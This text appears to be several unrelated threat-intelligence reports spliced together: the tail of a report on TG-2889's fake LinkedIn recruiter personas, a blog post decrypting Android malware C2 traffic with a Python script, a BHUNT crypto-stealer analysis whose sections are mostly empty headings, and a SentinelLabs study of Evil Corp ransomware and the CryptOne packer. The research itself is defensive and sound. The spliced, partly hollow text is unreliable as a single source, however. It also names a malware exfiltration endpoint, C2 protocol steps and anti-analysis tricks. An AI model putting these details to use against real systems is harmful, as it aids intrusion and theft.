- In another profile, a job description was copied from genuine Teledyne and ExxonMobil job advertisements.
- The job description in yet another profile was copied from a legitimate job posting from a Malaysian bank.
Five of the Leader personas purport to work for Teledyne, an American industrial conglomerate. In addition, one claims to work for Doosan (an industrial conglomerate based in South Korea), one for Northrop Grumman (a U.S. aerospace and defense company), and one for Petrochemical Industries Co. (a Kuwaiti petrochemical manufacturing company).
### Supporter personas
Profiles for Supporter personas are far less developed than for Leader personas. They all use the same basic template with one simple job description, and they all have five connections. Profile photographs for three of the Supporter personas appear elsewhere on the Internet, where they are associated with different, seemingly legitimate, identities. As with the Leader profiles, open-source research indicates that the Supporter profiles are also fake.
### Building credibility via endorsements
The purpose of the Supporter personas appears to be to provide LinkedIn skills endorsements for Leader personas, likely to add legitimacy to the Leader personas. Most of the Supporter accounts identified by CTU researchers have endorsed skills listed on the profiles of the Leader personas. Although unable to view Leader personas' LinkedIn connections, CTU researchers suspect the threat actors use the Supporter accounts to provide the Leader profiles with an established network, which also enhances credibility.
### Novel technique
Although CTU researchers identified eight Leader profiles, two appear to be duplicates that have different identities associated with the same account. While CTU researchers were analyzing the profiles, the threat actors altered two of the Leader LinkedIn accounts. The original profile name and photograph were replaced with a new identity, and the current job was updated: in one case replacing Teledyne with Northrup Grumman and in the second replacing Teledyne with Airbus Group.
Changing personas associated with existing profiles was a clever exploitation of LinkedIn functionality because the new identities inherit the network and endorsements from the previous identity. These attributes immediately make the new personas appear established and credible, and the transition may prevent the original personas from being overexposed.
### Targeting LinkedIn users
Creating a network of seemingly genuine and established LinkedIn personas helps TG-2889 identify and research potential victims. The threat actors can establish a relationship with targets by contacting them directly or by contacting one of the target's connections. It may be easier to establish a direct relationship if one of the fake personas is already in the target's LinkedIn network. Five of the Leader personas claim to be recruitment consultants, which would provide a pretext for contacting targets. TG-2889 likely uses spearphishing or malicious websites to compromise victims, and established trust relationships significantly increase the likelihood of these tactics being successful.
### Targets
Seemingly legitimate LinkedIn users have also endorsed Leader personas. Endorsements are granted by connections, indicating that these legitimate users are part of the Leader personas' networks. Therefore, they are likely TG-2889 targets. Examination of the profiles associated with the endorsements revealed 204 potential TG-2889 targets, most of whom are based in the Middle East. A quarter of the targets work in the telecommunications vertical; Middle Eastern and North African mobile telephony suppliers feature heavily. A focus on these types of targets may indicate that TG-2889 is interested in acquiring data held by these organizations or gaining access to the services they operate. A significant minority of identified targets work for Middle Eastern governments and for defense organizations based in the Middle East and South Asia.
### Attribution
Based on strong circumstantial evidence, CTU researchers assess that TG-2889 is linked to the activity that Cylance described in its December 2014 Operation CLEAVER report. The report documented threat actors using malware disguised as a résumé application that appeared to allow résumés to be submitted to the industrial conglomerate Teledyne. Cylance reported the use of domains that reference companies associated with many of the fake LinkedIn profiles identified by CTU researchers.
Cylance attributed the Operation CLEAVER activity to a threat group operating at least in part out of Iran. CTU researchers have not uncovered any intelligence that contradicts this assessment. Furthermore, the strong focus suggested by the endorsement analysis on targets from Arab states in the Middle East and North Africa (MENA) region is in line with the expected targeting behavior of a threat group operating out of Iran.
### Ongoing threat
Updates to profile content such as employment history suggest that TG-2889 regularly maintains these fake profiles. The persona changes and job alterations could suggest preparations for a new campaign, and the decision to reference Northrup Grumman and Airbus Group may indicate that the threat actors plan to target the aerospace vertical.
It is likely that TG-2889 maintains personas that have not yet been identified, and that other threat groups also use this tactic. CTU researchers advise organizations to educate their users of the specific and general risks:
- Avoid contact with known fake personas.
- Only connect to personas belonging to individuals they know and trust.
- Adopt a position of sensible caution when engaging with members of colleagues' or friends' networks that they have not verified outside of LinkedIn.
- When evaluating employment offers originating from LinkedIn, seek confirmation that the individual is legitimate by directly contacting the individual's purported employer.
Organizations may want to consider policing abuse of their brand on LinkedIn and other social media sites. If an organization discovers that a LinkedIn persona is fraudulently claiming an association with the company, it should contact LinkedIn. Creating false identities and misrepresenting an association with an organization is a breach of LinkedIn's terms and conditions.
## Appendix — Fake LinkedIn personas created by TG-2889
Table 1 lists details associated with Leader and Supporter personas created by TG-2889. The pairs shaded in dark gray are different identities associated with the same LinkedIn account. The only difference in the profile links of the shared accounts is the persona name.
| Type | Name and profile link | Role | Country | Connections | Company |
|-----------|-----------------------------------------------------------|--------------------|---------|-------------|-------------------------------------------|
| Leader | Jon Sam Park | Network | Korea | 500 | Doosan |
| Leader | Pamela McCoy | Recruitment | United States | 500 | Teledyne Technologies Incorporated |
| Leader | Christine Russell | International | United States | 500 | Northrop Grumman |
| Leader | Timothy Stokes | Recruitment | United States | 500 | Teledyne Technologies Incorporated |
| Leader | Matilda Aronson | Recruitment | Korea | 500 | Teledyne Technologies Incorporated |
| Leader | Petra Hedegaard | Recruitment | Korea | 500 | Airbus Group |
| Leader | Hassan (Baqeri) Al Huwaidi | Research and | United States | 275 | Teledyne Technologies Incorporated |
| Leader | Raheleh Keramat | IT | Kuwait | 46 | Petrochemical Industries Co. |
| Supporter | Ben Blamey | Senior Electronics | United Kingdom | 5 | General Motors |
| Supporter | Brandon Mobley | Senior Electronics | United Kingdom | 5 | General Motors |
| Supporter | Broderick Huff | IT Technical | United States | 5 | Teledyne Technologies Incorporated |
| Supporter | Carolyne Mejia | IT Support | United Kingdom | 5 | Teledyne Technologies Incorporated |
| Supporter | Edwin Grubbs | IT | United Kingdom | 5 | Teledyne Technologies Incorporated |
| Supporter | Eric Harvill | Electronics | United Kingdom | 5 | General Motors |
| Supporter | Helen Albers | Electronics | United Kingdom | 5 | Teledyne Technologies Incorporated |
| Supporter | Kristen Allen | IT Solutions | United States | 5 | Teledyne Technologies Incorporated |
| Supporter | Lee Chia | Hardware | Korea | 5 | Doosan |
| Supporter | ******* | Quality | United Kingdom | 5 | ******* |
| Supporter | Merle Rogers | IT Service | United Kingdom | 5 | Doosan |
| Supporter | Naomi Brinson | Principal | United Kingdom | 5 | Unilever |
| Supporter | Peggy Gore | Head of IT | United Kingdom | 5 | Doosan |
| Supporter | Raymond Reale | Project and | United Kingdom | 5 | Teledyne Technologies Incorporated |
| Supporter | Ricky Furst | IT Manager | United States | 5 | Teledyne Technologies Incorporated |
| Supporter | ******* | IT Support | United States | 5 | Teledyne Technologies Incorporated |
| Supporter | Steve Highsmith | IT | United Kingdom | 5 | Doosan |
*Some potentially sensitive information has been redacted.*
**Endnote**
The Dell SecureWorks Counter Threat Unit™ (CTU) research team tracks threat groups by assigning them four-digit randomized numbers (2889 in this case) and compiles information from external sources and from first-hand incident response observations. |
# Reversing the C2C HTTP Emmental Communication
In the last post, I explained how it was possible to decrypt the initial C&C communication from the data dumped from memory, with the support of a Python script. In this post, I am going to follow the same approach, but using the information from the captured network traffic. For that, I will capture with Wireshark all the communication with the C&C while the malware is running. Then I can export all the 'objects' in the HTTP connection, which means the content of the HTTP request and response.
Now, I have in a folder all the files with the objects from the HTTP request:
```
$ ls main
main(1).php main(11).php main(13).php main(15).php main(3).php main(5).php main(7).php main(9).php
main(10).php main(12).php main(14).php main(2).php main(4).php main(6).php main(8).php main.php
```
```
$ more main.php
i=McsZtRV7Bv7ZjMSzwk5aIyZEiijP8F38NJcxd5VNElaIVxctxxX9UWCGbUaOIYRxhMxTtA8nBYmT%0A%2FkgJOPilsUZZyvc2swCziOJC5ae17wU
```
As the HTTP request is URL encoded, I need first to decode it, so I will adapt the Python script created in this post to do it automatically. This is the script:
```python
#!/usr/bin/python
from Crypto.Cipher import Blowfish
from Crypto import Random
from struct import pack
from binascii import hexlify, unhexlify
import sys
import urllib
file1 = sys.argv[1]
file_out = sys.argv[2]
blfs_key = open('/path/to/the/blfs.key', 'r')
url_encode = open(file1, 'r')
url_encode_2 = url_encode.read()
url_decode = urllib.unquote(url_encode_2).decode('utf8')
file_ciphertext_base64 = url_decode
file_blfs_key = blfs_key.read()
ciphertext_raw = file_ciphertext_base64.decode("base64")
IV = "12345678"
_KEY = file_blfs_key
ciphertext = ciphertext_raw
KEY = hexlify(_KEY)[:50]
cipher = Blowfish.new(KEY, Blowfish.MODE_CBC, IV)
message = cipher.decrypt(ciphertext)
config_plain = open(file_out, 'w')
config_plain.write(message)
```
With this script, it is easy to run a shell command with a loop 'for' to decrypt all the files in the directory. Bear in mind that the HTTP responses are not URL encoded, so I will not need to perform that step on some of the files.
Now I should have decrypted all the information from each object. Looking at the first two HTTP POST requests, I see this is the case, but for the third one, this is not the case and the data is still encrypted. What's going on here?
I am going to take a look at the HTTP response from the server, what information is being sent? A Public Key! Really interesting stuff... Actually, if I look further in the second HTTP request from the screenshot above, I can see the following:
```
$ more "main(3).php"
a:4....
.....
cjogVGhlIEFuZHJvaWQgUHJvamVjdCB8IGphdmEudmVyc2lvbjogMA==
";s:3:"cmd";s:7:"get_key";s:3:"rid";s:2:"25";s:4:"data";s:0:"";}
```
This looks to me like the malware sends a request for a key and the server replies with the public key. So the only possibility is that the malware is using that key to encrypt the data so only the C&C can decrypt it with the private key.
To confirm this is the case, I am going to check the source code of the malware with 'androguard' as I explained in the previous post. Looking at the code, I see there is a method with the string 'get_key' and I can see which other method is calling it:
```
In [10]: d.CLASS_Lorg_thoughtcrime_securesms_h_c.METHOD_c.pretty_show()
```
When decompiling the code, I end up with some interesting Java methods. Looking at the Java code, I can see that the public key is used. But also, looking deeper into the code, I find another interesting method:
```java
private String a(String p9) {
String v1_0 = 0;
String v0_0 = "";
try {
javax.crypto.Cipher v2_1 = javax.crypto.Cipher.getInstance("RSA/ECB/PKCS1PADDING");
v2_1.init(1, this.d);
String[] v3_2 = this.a(p9, 100);
java.util.ArrayList v4_2 = new java.util.ArrayList();
int v5 = v3_2.length;
} catch (String v1) {
return this.a.c(v0_0);
}
while (v1_0 < v5) {
v4_2.add(android.util.Base64.encodeToString(v2_1.doFinal(v3_2[v1_0].getBytes()), 0));
v1_0++;
}
v0_0 = android.text.TextUtils.join(".", v4_2);
return this.a.c(v0_0);
}
```
So basically, one method is for encryption and the other for decryption, and both of them are using the same public key. This is really interesting stuff.
So this is what's going on so far:
1. The compromised device sends the information encrypted with Blowfish to the C&C.
2. The C&C server replies with OK.
3. The compromised device requests the public key.
4. The C&C server replies with the public key.
5. The compromised device encrypts the information with the public key and sends it to the C&C.
6. The C&C server can decrypt it with its private key.
7. The C&C server sends data encrypted with the private key -> I need to verify this.
8. The compromised device can decrypt it with the public key -> I need to verify this.
To verify steps 6 and 7, and as a very quick PoC, I have created some Java code which takes the public key sent by the C&C and tries to decrypt the successive messages sent by the C&C. Bingo! When I run the code, I clearly see it works and my 'guess' was right: What is the information sent by the C&C? It looks like a new config.xml with a new C&C URL. Very interesting.
Looking at the code again, I see methods that perform the request for a new configuration file:
```java
package org.thoughtcrime.securesms.xservices;
class b extends android.os.AsyncTask {
android.content.Context a;
final synthetic org.thoughtcrime.securesms.xservices.XRepeat b;
public b(org.thoughtcrime.securesms.xservices.XRepeat p1, android.content.Context p2) {
this.b = p1;
this.a = p2;
return;
}
protected varargs String a(String[] p4) {
org.thoughtcrime.securesms.h.i.a(this.a);
org.thoughtcrime.securesms.h.i.c("CONF", "Check pull off urls", this.a);
org.thoughtcrime.securesms.h.i.b(this.a);
org.thoughtcrime.securesms.h.i.c(this.a);
org.thoughtcrime.securesms.h.i.c("CONF", "Get config data from server", this.a);
org.thoughtcrime.securesms.h.i.j(this.a);
org.thoughtcrime.securesms.h.i.c("DATA", "Send data to server", this.a);
return "OK";
}
protected void a(String p1) {
super.onPostExecute(p1);
return;
}
protected synthetic Object doInBackground(Object[] p2) {
return this.a(((String[]) p2));
}
protected synthetic void onPostExecute(Object p1) {
this.a(((String) p1));
return;
}
}
```
As the HTTP requests to the C&C are encrypted with the public key, I can't decrypt them. However, I could check in memory the information before it is encrypted. And this is what I found:
```
a:2:{s:7:"LogCode";s:4:"CONF";s:7:"LogText";s:27:"Get config data from server";}
```
Which matches the methods I checked previously. |
# Poking Holes in Crypto-Wallets: a Short Analysis of BHUNT Stealer
## Summary
## Key Findings
## Technical Analysis
### A Primer on Packers
From a reverse-engineering perspective, this means that if we could bypass the anti-debugger techniques of the packer, we can get most of the unpacked contents by dumping the process memory during runtime. Going step by step through the code with a debugger and bypassing every check is tedious work. More so, if the debugger detection code is virtualized, then there is no chance of getting through it in a reasonable time. Therefore, we need to rely on our knowledge of how to detect debuggers. To achieve this, we must patch the information in memory and hook all the functions to bypass debugger detection. However, manually adding hooks every time we start a debug session is also tedious, so we can use ScyllaHide, a plugin for OllyDbg that contains various anti-anti-debugger techniques. With some luck, the debugged process will run, then we can save its memory to hopefully reveal the unpacked code. To dump an executable from memory, we can use Scylla, an open-source tool that can rebuild the import directory of an MZ loaded in memory.
### Initial Access
We noticed in our telemetry that the initial dropper process (msh.exe or msn.exe) was launched from explorer.exe. This contained injected code. Most infected users also had some form of crack for Windows. We could not capture any installer for those cracks, but we suspect they delivered the dropper for the cryptocurrency stealer. This technique is very similar to how Redline stealer delivers its payloads through fake cracked software installers.
### Execution Flow
We have captured more versions of this assembly. Each one contains all the codebase of the malware and the modules embedded in the resources, the difference being that each version calls a subset of the available methods from their main function. This indicates that the malware can be recompiled according to the attacker’s needs.
### Command and Control
All the exfiltration is done to hxxp://minecraftsquid.hopto.org/ifo.php. Hopto.org is a dynamic DNS service that can point a domain name to changing IP addresses. This way we cannot obtain the IP address of the server to which the exfiltration is done except for when we manage to connect to the website. During our analysis, the server was already down and did not respond to requests. We could not find any other versions of the stealer that would have other domains for the exfiltration.
### Impact
The malware can steal cryptocurrency wallet information for the following services:
- Electrum
- Ethereum
- Bitcoin
- Atomic
- Litecoin
- Dash
## Conclusion
## Bibliography
## MITRE Techniques Breakdown
## Indicators of Compromise
### Hashes
### URLs
### Files/Folders Dropped
## Campaign Distribution
## Appendix
This whitepaper provides an overview of the BHUNT Stealer, its methods of operation, and its impact on cryptocurrency security. |
# SANCTIONS BE DAMNED | FROM DRIDEX TO MACAW, THE EVOLUTION OF EVIL CORP
**Author:** Antonio Pirozzi, Antonis Terefos, and Idan Weizman
**February 2022**
**SentinelLABS Research Team**
## EXECUTIVE SUMMARY
- SentinelLabs assesses with high confidence that WastedLocker, Hades, Phoenix Locker, and PayloadBIN belong to the same cluster. There are strong overlaps in terms of code similarities, packers, TTPs, and configurations.
- SentinelLabs assesses with high confidence that the Macaw ransomware variant is derived from the same codebase as Hades.
- A portion of SocGholish infrastructure, controlled by Evil Corp (EC), and used to deliver WastedLocker and Hades Ransomware, was also used to spread BitPaymer and DoppelPaymer by deploying Dridex loader.
- Since late 2019, Evil Corp has been evolving their tradecraft to continue to pivot around OFAC sanctions.
- Throughout our analysis, we noticed the unique use of a crypter tool dubbed “CryptOne.” We were able to identify and map all of the CryptOne ‘flavours’ used in different time-frames, supporting our clustering of EC activity through the correlation of those signatures.
This report summarizes an in-depth analysis of Evil Corp (“EC”, a.k.a “Gold Drake”, a.k.a “Indrik Spider”), an advanced cybercrime activity cluster originating from Russia, performed by SentinelLabs. As a result of this research and previous intelligence, we were able to cluster a range of EC’s malware lineage and their activities. This investigation raises new insights about the group’s modus operandi and toolsets.
Please note: While EC is a name of a cybercrime gang run by several known individual members, this report refers to the activity as it is seen through TTPs. We believe that this approach is more accurate to describe and track their operations. A list of IOCs and YARA rules can be found at the end of this report.
## BACKGROUND
Evil Corp (“EC”, a.k.a “Gold Drake”, a.k.a “Indrik Spider”), is an advanced cybercrime operations cluster originating from Russia and has been active since 2007. The UK National Crime Agency calls it “the world’s most harmful cybercrime group.”
The origins of Evil Corp can be traced back to Evgeniy Bogachev, one of the leading figures of the group. Evgeniy Bogachev (also known as Slavik) developed the Zeus banking trojan. Bogachev is considered to be the leader of the “Business Club,” a group of half a dozen people supported by a network of more than 50 individuals tied to the Russian Government. An award of 3 million dollars was announced for information that would lead to his capture. In 2011, the Zeus source code was leaked, and different versions appeared in the wild. In September 2011, a new Zeus variant named Gameover Zeus (also known as Zeus Game Over, GoZ) was identified. It added a peer-to-peer C2 architecture that was more resilient to takedown, with the intention to mislead law enforcement.
By mid-2014, GoZ counted over 27 different botnets, one million compromised computers, and was responsible for the theft of tens of millions of dollars. Slavik was the administrator of the GoZ Botnet and had the support of the Business Club crew. This support from the Business Club crew introduced Slavik to Maksim Yakubets. This partnership would come to form the backbone of what is now EC.
Maksim Yakubets (aka “aqua”) is believed to have acted as Evil Corp group’s leader. The group was one of the pioneers of financial cybercrime, having operated one of the most aggressive and successful banking trojans since 2014, Dridex. Evil Corp has earned millions of dollars in illicit profit from banks and financial institutions in over 40 countries.
In August 2017, EC began to focus on more high-return targets with BitPaymer Ransomware, delivering the ransomware with Dridex mainly against North American and Western European organizations. In June 2019, the cluster DoppelSpider, considered a distinct group (or a sub-cluster of EC), started operating a new ransomware dubbed DoppelPaymer. It was a new strain derived from BitPaymer’s codebase and operated as RaaS. It presented an important similarity with its predecessor but also implemented new features like multithreaded file encryption. DoppelPaymer was operated in parallel with BitPaymer, supporting the assessment that it was a distinct cluster.
In December 2019, the U.S. Treasury Department’s Office of Foreign Assets Control (OFAC) issued a sanction against 17 individuals and seven entities related to EC cyber operations for causing financial losses of more than 100 million dollars with Dridex. In addition to the OFAC sanction, the DOJ charged two key members of the group: Maksim Yakubets and Igor Turashe; both members of the “Business Club” and considered the developers of the Dridex banking trojan. Yakubets was also mentioned as the leader of the group. In May 2020, following the OFAC which put Dridex under the scope of the sanction, a new ransomware variant appeared in the wild dubbed WastedLocker. It employs techniques to obfuscate its code and perform tasks similar to those already seen in BitPaymer and Dridex. Those similarities allowed the threat intelligence community to identify the connections between the malware families.
Right after the indictment, we witnessed a change in some of their TTPs: from 2020, they started to frequently change their payload signatures, using different exploitation tools and methods of initial access. They switched from Dridex to the SocGholish framework to confuse attribution and distance themselves from both Dridex and BitPaymer, which fell within the scope of the sanctions. During this period, they started using Cobalt Strike extensively to gain an initial foothold and perform lateral movement instead of PowerShell Empire.
At this point, after the indictments, the global intelligence community was split into different “camps” as to how EC was operating. Some assessed that there was a voluntary transition of EC operations to another ‘trusted’ partner while remaining the controller of operations. Some had theories that they stopped operating and another advanced actor operated Hades trying to mimic the same MO as EC to mislead attribution. Some claim possible attribution to the HAFNIUM activity cluster. This report argues that the original operators continue to be active despite the sanctions, continuously changing their TTPs to stay under the radar.
In December 2020, a new ransomware variant named Hades was first seen in the wild and publicly reported. Hades is a 64-bit compiled version of WastedLocker that displays important code and functionality overlaps. In March 2021, a new variant Phoenix Locker appeared in the wild, which seemed to be a rebranded version of Hades with little to no changes. Later, a new variant named PayloadBIN appeared in the wild, a continuation from Phoenix Locker. Another distinctive MO worth mentioning which characterizes all their ransomware operations is related to the extortion phase. Security researchers from several private sector firms note that historically there was no evidence of data theft during BitPaymer and WastedLocker incidents. In addition to this, they didn’t operate any data leak site.
## THE EVIL CORP MALWARE LINEAGE
### EVIL CORP AFFILIATION MODEL
Dridex first appeared on the scene in June 2014. It was derived from Bugat V5. EC operates Dridex with an affiliation model, where each affiliate maintains control of a subset of bots while EC controls all the C2 backends. Dridex has also been delivered by Emotet since 2017. This suggests that there is a functional relationship between the two groups (they share resources). Moreover, research by Trend Micro highlighted that Emotet, Gozi IFSB, and Dridex share the same loader. Following the distribution of Dridex v4 binaries, a new update in the TTPs has been observed; in fact, they began using Dridex to execute PowerShell Empire and the Koadic post-exploitation framework.
Dridex was also the primary delivery method for BitPaymer Ransomware. Following the OFAC sanctions, in March 2020, WastedLocker was delivered exclusively through SocGholish. Ever since, SocGholish has been associated with the delivery of other malware that SentinelLabs attributes to EC activity, suggesting that SocGholish is a solid indicator of EC’s recent activity.
In the following diagram, we draw connections or affiliations between Evil Corp and other actors. The dark blue rectangles represent threat actors, the orange are related to malware families and loaders while the red ones are related to ransomware. The nature of the relationship is annotated on the arrow.
### A UNIQUE CLUSTER: BITPAYMER, WASTEDLOCKER, HADES, PHOENIX LOCKER, PAYLOADBIN
Clustering activity is the hardest part of tracking cybercrime. Previous analysis of cybercrime activities revealed that often there are different kinds of affiliations between threat actors with varying degrees of trust. To cluster activities with confidence, it is important to find strong and non-ambiguous relationships and assess them in order to understand their nature, the role of each actor, and the modus operandi. In this section, we provide evidence of code overlaps, shared configurations, packers used, and TTPs supporting the assessment that BitPaymer, WastedLocker, Hades, PhoenixLocker, and PayloadBIN share a similar codebase.
We decided to reassess the relationship between ransomware variants which have been analyzed before and attributed to EC. This analysis provides the foundation on which we examine further changes and evolutions. We compared each variant with its ancestor in chronological order.
### BITPAYMER VS. WASTEDLOCKER
Previous research shows a sort of knowledge reuse between these two families, which share the same heritage. The main similarities found in that research are:
- Abuse of Alternate Data Streams (ADS)
- Customized API resolving method
- Similar UAC bypass
- Encryption methods
- Ransom note
- Same style of command-line arguments
- Victim-specific elements are added using a specific builder rather than at compile time.
### WASTEDLOCKER VS. HADES
The two families implemented different instruction sets; in addition, the standard Win32 API was rewritten in Hades as native API from NTDLL. Previous research assessed the main similarities and differences between the two ransomware families:
- Different UAC bypass methods: both taken from UACME project
- Generalization: Hades does not contain victim information in the ransom note whereas WastedLocker does, and instead contains a tox channel to communicate and negotiate with victims
- Hades does not use ADS whereas WastedLocker and BitPaymer do
- Hades stores key information in each encrypted file while WastedLocker and BitPaymer store key information inside a ransom note.
SentinelLabs discovered that Hades and WastedLocker share the same codebase. We assess it is almost certain that they come from the same ‘factory’ (the same developer or group of developers). There are important overlaps between the two families, which are summarized below. For our similarity analysis, we considered the following samples from both families:
| Family | Sha256 Packed | Sha256 Unpacked | Compilation Timestamp | Submission to VT |
|---------------|-------------------------------------|-------------------------------------|-----------------------|-------------------|
| WastedLocker | cd228c458a1b5681 | c9617fc337317c79 | 2020-07-22 | 2020-07-23 |
| Hades | 95ac0b6c994ba69c | 07f6d09506065b4 | 2020-12-20 | 2021-01-07 |
### FILE AND DIRECTORY ENUMERATION ROUTINE
Both samples implement file and directory enumeration logic identically. Comparing the logic and the Control Flow Graph of both routines, we concluded both ransomware use the same code for file and directory enumeration.
### DRIVES ENUMERATION ROUTINE
We found similarities between the functions responsible for drive enumeration. The two functions present nearly identical structures and rely on the same Win32API for critical sections management.
### RSA ENCRYPTION ROUTINE
During our investigation, we observed that the RSA functions - responsible for asymmetrically encrypting the keys which were used in the AES phase to encrypt files - are identical in both ransomware, hinting that the same utility library was used. Both Ransomware rely on the RSAREF crypto lib to implement the RSA algorithm and crypto utils (i.e. md5sum). The RSAREF is not maintained anymore (last activity dates back about 5 years ago, at the time of writing). This is a peculiar element because, to the best of our knowledge, no other known ransomware families use this specific implementation. Further, the way the two implementations look - their structure, the same RSA implementation, the same API pattern - led us to think that they are both developed by the same hand or relying on the same functions/code reuse.
While WastedLocker and Hades have striking similarities in file and directory enumeration, drive enumeration, and RSA encryption, we also note some differences between the ransomwares. The main differences between WastedLocker and Hades are summarized below:
- WastedLocker is a 32-bit PE while Hades is a 64-bit PE.
- Most of the file-related APIs for file management which were used in WastedLocker are replaced by their lower-level ones.
- While WastedLocker assembly code was left mostly unchanged, Hades assembly code was modified heavily to hinder static analysis, similarity tools, or emulation.
The changes between WastedLocker and Hades served primarily to change the detection signature of the malware and make it more evasive. The similarities in implementation and code overlap, however, suggest Hades is highly likely an evolution of WastedLocker.
### HADES VS. PHOENIX LOCKER: A POLYMORPHIC CODE
For this analysis, we investigated the following samples:
| Family | Sha256 Packed | Sha256 Unpacked | Compilation Timestamp | Submission to VT |
|-----------------|-------------------------------------|-------------------------------------|-----------------------|-------------------|
| Hades | 3b55367aa9d4a06 | b2a96839c1231457 | 2021-03-06 | 2021-03-26 |
| PhoenixLocker | 0361d9c93ac35edd | dc25b4b7e1dd2bd2 | 2021-03-20 | 2021-03-26 |
Both payloads have the same compilation timestamp. This suggested that the same ransomware payload (Hades in this case) was reused, but packed at two different moments in time. The compiler and linker versions are also the same. This technique of payload reuse was also seen in BitPaymer.
The interesting observation is that the payload was compiled at the same time but presents a different hash. We confirmed that they reused a ‘clean’ Hades version each time, statically introducing junk code with the help of a script in order to alter the signature.
### PHOENIXLOCKER VS. PAYLOADBIN
In this section, we compared the following two samples:
| Family | Sha256 Packed | Sha256 Unpacked | Compilation Timestamp | Submission to VT |
|-----------------|-------------------------------------|-------------------------------------|-----------------------|-------------------|
| PhoenixLocker | 0361d9c93ac35edd | 54D16E531B928DAD | 2021-03-20 | 2021-03-26 |
| PayloadBIN | ec3a3f5649a0ad931 | 7C8F8B8CCD722E26 | 2021-06-02 | 2021-06-03 |
Taking these two samples, we conducted a similarity analysis to deduce their connection. The similarity score between the two samples was slightly higher, with a value of 0.50. Taking a closer look, we observed that the majority of the PayloadBIN functions overlap with its ancestor PhoenixLocker. There was a partial rewrite of the ransomware code, however, justified by the compilation timestamps of the unpacked payload.
We conducted further similarity analysis by analyzing the TTPs of the different variants. We did this by extracting the main command lines from all the ransomwares and comparing them. We distinguished two distinct clusters: the first TTP cluster we identified was WastedLocker. The second TTP cluster contained Hades, Phoenix, and PayloadBIN. From Hades onwards, we found a unique self-delete implementation including the ‘waitfor’ command.
All ransomwares have the same implementation of Shadows copy deletion. The evidence of this code reuse supports the assessment that it is almost certain these ransomware families are related to the same ‘factory.’
## CONCLUSION
SentinelLabs assesses that it is highly likely that WastedLocker, Hades, PhoenixLocker, and PayloadBIN belong to the same cluster. Our assessment is based on code similarity and reuse, timeline consistency, and nearly identical TTPs across the ransomware families indicating there is a consistent modus operandi for the cluster. In addition, we assess that there is a likely evolutionary link between WastedLocker and BitPaymer, and suggest that it can be attributed to the same EC activity cluster.
SentinelLabs assesses, with high confidence, Hades, Phoenix Locker, and PayloadBIN variants share the same codebase. In addition, we assess it is highly likely that they belong to a common ‘factory.’ Whether Evil Corp outsourced the ransomware development is still an open question. However, it appears that they tend to maintain control over the whole ransomware development process in order to reduce the time it takes to make their ransomware operationally active. Keeping control of the process allows EC to better manage their operational security during operations. The evidence of incremental linking, the polymorphism statically introduced, and the usage of the same version of CryptOne supports the assessment that it is highly likely a single unique cluster.
## OTHER TOOLSET EXPANSION
Tracking the threat actor’s tools led us to discover another new, possibly experimental, variant dubbed “Cypherpunk” - we named it this due to the encryption extension found. Code similarity analysis shows that the Cypherpunk version is the same as the previous PayloadBIN variant. It was compiled on 2021-04-01, 20 days after the PayloadBIN sample. It is possible that this is another attempt at rebranding.
## MACAW LOCKER RANSOMWARE
In October 2021, a new ransomware variant called ‘Macaw Locker’ appeared in the wild, in an attack that began on Oct. 10th which encrypted Olympus. A few days later, Sinclair Broadcast Group systems were also attacked, causing wide disruption. Some researchers claimed a possible relation with WastedLocker, but at the time of writing, no one provided further details about this assessment.
The ransomware presents anti-analysis features like API hashing and indirect API calls with the intention of evading analysis. The only reliable way to reconstruct functions is via dynamic analysis by way of fully executing the sample. One aspect that immediately sets Macaw apart is the fact that it requires a custom token (provided from the command line), which seems specific for each victim; without it, it won’t execute.
Another new addition to Macaw was a special function that acquires the imports for APIs at runtime instead of when the executable is started via the PE import section.
It emerges from the analysis of Evil Corp’s TTPs over time that this threat actor put much of its effort into defense evasion. Apart from the code overlaps that we found in Macaw, the new implementation fully reflects this MO. The signature is sufficiently different to deflect attribution and avoid simple detection efforts. While the indirect API calls and inserted NOP instructions are intended to hinder analysis, our investigation reveals that Macaw is derived from the same codebase as Hades and other Evil Corp samples.
Based on our assessment, we believe that it is highly likely that this strain is derived from the same codebase and belongs to the same EC lineage.
## CRYPTONE: THE PACKER
CryptOne (also known as HellowinPacker) is a special packer in use by Evil Corp up till mid-2021. CryptOne appears to have first been noticed in 2015. Early versions were used by an assortment of different malware families such as Gozi, Dridex, and Zloader. In 2019, Bromium analyzed and reported it as in use by Emotet. In June 2020, NCC Group reported that CryptOne was used to pack WastedLocker. In 2021, researchers observed CryptOne being advertised as a Packer-as-a-Service on hacker forums.
CryptOne has the following characteristics and features:
- Sandbox evasion with getInputState() or GetKeyState() API
- Anti-emulation with UCOMIEnumConnections and the IActiveScriptParseProcedure32 interface
- Code-flow obfuscation
In order to assist our research, we created a static unpacker we dub “de-CryptOne.” This unpacker is capable of statically unpacking both x86 and x64 samples. It outputs two files: 1) the shellcode responsible for unpacking 2) the unpacked sample. We collected CryptOne packed samples, and with the use of the above tool, unpacked and categorized them at scale.
## A UNIQUE FACTORY
Hunting for CryptOne led us to identify different versions of this cryptor, which have never been reported previously. Each version is identified by a certain signature. The first part of the string is composed of a custom string which is then replaced at runtime by the ‘interface’ keyword, creating the following registry key:
HKEY_CLASSES_ROOT\interface\{b196b287-bab4-101a-b69c-00aa00341d07}
HKEY_CLASSES_ROOT\interface\{aa5b6a80-b834-11d0-932f-00a0c90dcaa9}
Those registry keys are related to the UCOMIEnumConnections and IActiveScriptParseProcedure32 interfaces respectively. Once executed, the Cryptor checks for the presence of those keys before loading the next stage payload. If it does not find the keys, then the malware goes in an endless loop without doing anything as an anti-emulation technique.
In reviewing two different versions of CryptOne, we noticed that in order to update the signature, the actor needs to recompile the cryptor as the cryptor implementation changes.
## TEMPORAL ANALYSIS
Compilation timestamps are not trustworthy by nature because they can easily be altered. We cannot confirm if they were altered or not but we have made some assumptions based on our observations which we detail below.
### OBSERVATION #1 - SEQUENTIAL CONSISTENCY
The first observation is that for all the packed artifacts we collected, we noticed a gap between the compilation time and packing time (with CryptOne). The two operations are sequential and happened at two different moments in time.
### OBSERVATION #2 - CONSISTENCY WITH THE TIMING OF THE OPERATIONS
The second observation comes from the timing of the operations. The timestamps of the packed artifacts fall inside the timeframe of the operations. This means that, even if the timestamp was altered in some way, we can assume it is trustworthy because it is consistent with the timeline of operations and permits us to place events in chronological order.
### OBSERVATION #3 - STATISTICAL AND CHRONOLOGICAL CONSISTENCY
Another observation comes from the relation between the packing time and VT ‘first seen’ field. The VT ‘first submission’ tells us the timestamp in which a given sample was submitted.
### OBSERVATION #4 - CONSISTENCY WITH DIGITAL SIGNATURE DATE
